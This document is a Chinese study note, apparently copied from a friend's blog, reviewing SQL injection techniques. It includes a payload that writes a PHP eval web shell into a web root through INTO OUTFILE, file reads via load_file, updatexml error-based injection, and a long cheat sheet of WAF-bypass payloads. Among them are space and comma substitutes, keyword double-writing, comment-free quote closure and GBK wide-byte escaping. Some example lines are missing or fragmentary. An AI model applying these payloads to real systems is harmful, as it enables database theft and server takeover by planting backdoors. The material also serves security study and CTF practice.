sql注入补课
SQL补课
文章来自友链kirakiraayu
自己对着重新抄写学习了一遍
读写文件
- 读文件使用
load_file()函数select load_file("E:\\flag.txt");
- 写文件使用
into outfileselect 1,'<?php eval($_POST[1]);?>',3 into outfile "/var/www/html/shell.php";
报错注入
updatexml()
extractvalue()
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错
- updatexml()函数
updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。作用:改变文档中符合条件的节点的值
语法:
updatexml(XML_document,XPath_string,new_value)第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】第三个参数:string格式,替换查找到的符合条件的数据updatexml使用时,当
xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)例如:
select * from test where ide = 1 and (updatexml(1,0x7e,3));由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
常见绕过方式
示例语句:
SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata; |
可以使用括号包裹
SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata); |
内联注释/**/可以代替空格
SELECT/**/GROUP_CONCAT(schema_name)/**/FROM/**/information_schema.schemata; |
符号代替空格的方式(urlencode):
%0D Carriage Return,回车 代替空格 |
使用反引号包裹变量名
SELECT(GROUP_CONCAT(schema_name))FROM`information_schema`.`schemata`; |
同时查询用户名和密码的情况下:
SELECT username FROM users WHERE id='1\' AND passwd=' UNION SELECT 1,2,3--' |
payload:
id=1\&passwd=UNION SELECT 1,2,3-- |
这样实际上第二个引号被转义掉了
那么密码的部分直接输入<联合注入语句>+<注释>即可
也可以十六进制编码:
SELECT 0x616263; # abc |
自动变成字符串
例如需要多列查询时:
select 1,2,3; |
使用join:
SELECT * FROM (SELECT 1) AS a JOIN (SELECT 2) AS b JOIN (SELECT 2) AS c; |
盲注常用的 substring() substr() mid() 中,
会用到逗号 可以使用 from for 代替:
SELECT SUBSTRING(DATABASE() FROM 1 FOR 1); |
LIMIT 语法也会用到逗号,可以使用 offset 代替:
SELECT * FROM users LIMIT 1 OFFSET 0; |
盲注中也可以使用模糊查询的方法来避免使用逗号:
SELECT DATABASE() LIKE 's%' |
LIKE 支持以下通配符:
- %:匹配零个或多个字符。
- _:匹配单个字符。
示例:
LIKE 'u%':匹配以 u 开头的所有字符串。 |
过滤>和<时
可以使用greatest()和least()函数,
分别返回最大值和最小值。参数数量不定:
SELECT GREATEST(1, 2, 3, 4, 5); |
代替等号用like但有时会有不相等还返回1
用rlike判断某个字段的值是否匹配指定的正则表达式,
它是regexp的同义词
用regexp匹配字符串中是否包含符合正则规则的部分,
默认不区分大小写,
如果需要区分,可以使用binary:
SELECT 'abc' REGEXP 'A'; -- 返回 1 |
函数strcmp(str1, str2)
其返回值:
str1 = str2 -> 0 |
可以用in语法,
用于判断某个值是否在指定集合中的条件操作符:
-- 是则返回 1,否则返回 0 |
用between...and...进行范围查询,也可代替等号
-- 是 115 则返回 1,否则返回 0 |
用<>表示不等于
-- 不等于 115 则返回 1,否则返回 0 |
可以与英文单词互相替换:
and && |
逻辑中断: OR ||
只需一个表达式为真,整个表达式就为真。
那么很多时候程序只判断到前一个表达式为真时,
就忽略后一个表达式不执行,MySQL就具备这个特性。
可以利用它达到条件判断的效果:
-- 假设 database 为 "security" |
使用locate(str1, str2)
比较输入的两个字符串,
第一个参数是参照物,第二个参数是参照对象,
该函数会判断参照对象中是否含有参照物,
若不含有,则返回 0;
若含有,则返回该参照物在参照对象中的位置:
用case when...then...else...end
用法类似于三目运算符
CASE WHEN condition THEN result1 ELSE result2 END |
用elt(N, str1, str2, ..., strN)
从一个字符串列表中返回对应位置的字符串
假设有一张表 my_table,
包含字段 id 和 category,
我们希望根据 category 的值返回对应字符串:
SELECT id, ELT(category, 'Electronics', 'Books', 'Clothing') |
如果 category 的值为 1、2 或 3,
分别返回 Electronics、Books、Clothing
这个函数同样可以用在盲注中,
逻辑运算往往会返回 0 或 1,
也就是说可以让条件为真时,
执行elt函数第二个参数的表达式
-- 条件为真时会睡 3 秒 |
如果只是单纯去掉,那就双写绕过:
union -> uniunionon |
如果过滤大小写,那就随意替换
union、UNION -> UnIoN |
过滤关键字组合比如过滤了UNION SELECT
可以改用UNION ALL SELECT
或者结合内联注释构造: /*!UNION*/SELECT UNION/**/SELECT
或者插入其他可代替空格的符号
InnoDB 引擎
在MySQL 5.6及以上
用mysql.innodb_table_stats
代替information_schema.tables
mysql> select * from mysql.innodb_table_stats; |
如果所有的注释符-- # /**/ /*!*/都被过滤,
无法忽略后面的语句,
可以改变闭合方式以避免语法错误:
SELECT id FROM users WHERE username='' AND passwd='' LIMIT 0,1; |
发送payload:
username=admin'OR&passwd=OR' |
得到
SELECT id FROM users WHERE username='admin'OR' AND passwd='OR'' LIMIT 0,1; |
也可以闭合引号
-- SELECT username FROM users; |
SELECT {a DATABASE()}; |
花括号左边是注释(左边可以是任意字母,但不能是数字),
右边是查询语句的一部分
benchmark() => sleep() |
在 GBK 编码下,部分字符可以与后续字符拼接形成新的合法字符。%df 在 GBK 编码中是一个未完成的双字节字符 Ÿ,如果数据库采用 GBK 编码,则 %df 可能会与后续的单字符拼接形成一个完整的双字节字符 |




